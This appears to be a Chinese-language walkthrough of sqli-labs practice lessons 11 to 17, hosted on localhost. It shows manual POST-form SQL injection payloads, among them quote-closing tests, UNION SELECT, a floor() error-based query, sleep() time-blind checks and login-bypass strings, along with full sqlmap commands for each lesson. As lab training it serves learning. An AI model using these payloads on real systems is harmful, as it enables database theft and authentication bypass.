這幾關涉及到的都是post型data處注入,和get型的差別就是注入點的測試處不一樣,方法都是一樣的
0x01 sqli-labs less-11
1.手工
由於是post型注入,那么我們不能在url處輸入,我們在下面表單處輸入數據,才是post型的data請求部分,也可以通過抓包,對data部分進行sql語句注入
我們在username處輸入1',password處任意輸入,發現報sql語句錯誤
那么username處存在sql注入,我們跟上注釋 --+,發現回顯報錯,跟上#,發現回顯正常,那么成功閉合
’order by 3# 報錯,‘order by 2# 正常顯示
查詢數據庫’union select database(),2#
后面操作跟第一關一樣
2.sqlmap注入
用burp抓包,然后,sqlmap需跟上data部分的數據
sqlmap語句:
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-11/?id=1" --data "uname=1&passwd=11&submit=Submit"
--technique UES
--dbms mysql --dbs --threads 8
其中的:
--data:后面可以加上數據段(post/get類型的都是可以的)
--threads:最大並發線程,盲注時每個線程獲取一個字符(7此請求),獲取完成后線程結束,默認為1,建議不要超過10,否則可能影響站點可用性
這里不加--batch是有原因的,因為的有個選項要選擇no
不然很慢
0x02 sqli-labs less-12
1.手注
用戶名處輸入1’,pssword處任意輸入,沒有報錯,輸入1“,報錯,那么應該是雙引號報錯
加上#注釋,還是報錯,沒有閉合,看看報錯信息發現有括號,
那么加上括號,username為:1")#,密碼任意輸入,正確回顯,然后試試union select,
之后常規操作
2.sqlmap注入
將我們手工試出來的除了注釋符的閉合規則(萬能密碼)填入到data里面相應的參數中
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-12/?id=1" --data "uname=")or ("1")=("1&passwd=1")or("1")=("1&submit=Submit" --technique US --dbms mysql --dbs --threads 8
0x03 sqli-labs less-13
1.手注
閉合規則為:')#
輸入')union select 1,2#,發現沒有顯示位,但是有報錯信息,因此采用floor報錯注入
后面報錯注入的常規操作
2.sqlmap注入
需要在data中的兩個參數輸入注入規則的萬能密碼,破解更快
0x04 sqli-labs less-14
1.手注
輸入”,報sql錯誤,輸入“#成功閉合,因此閉合規則為:"#
在規則里面寫入union select 1,2,正確查詢沒有顯示,只會報錯,因此同樣采用報錯注入
后面常規報錯注入操作
2.sqlmap注入
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-14/?id=1" --data "uname=1&passwd=1&submit=Submit" --dbs --threads 8 --technique E --dbms mysql
0x05 sqli-labs less-15
1.手注
沒有報錯信息,試試1’and sleep(5)#也不行
應該是要登錄用戶名正確才行,試試admin'and sleep(5)#,發現延時5秒
參考第9關時間盲注的操作
2.sqlmap注入
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-15/?id=1" --data "uname=admin'or'1'='1&passwd='or'1'='1&submit=Submit" --current-db --threads 8 --technique T 或者 python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-15/?id=1" --data "uname=admin&passwd=1&submit=Submit" --current-db --threads 8 --technique T
0x06 sqli-labs less-16
將閉合規則的‘換成“,后面操作同15關
0x07 sqli-labs less-17
1.手注
單雙引號在user name里面沒有報錯,那么看源碼
沒有對password進行檢查,但是先檢查的是uname,因此我們用戶名必須正確,這里選擇爆破,爆出用戶名。這里用戶名是admin
那么用戶名處填入admin,密碼處填入’報錯,填入’#,正常顯示,正常顯示沒有回顯位,因此采用floor報錯注入
構造語句:’ and (select 1 from (select count(*),concat((database()),floor (rand(0)*2))x from information_schema.tables group by x)a)#
后面報錯注入的常規操作
2.sqlmap注入
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-17/" --data "uname=admin&passwd=password&submit=Submit" --current-db --threads 8 --technique E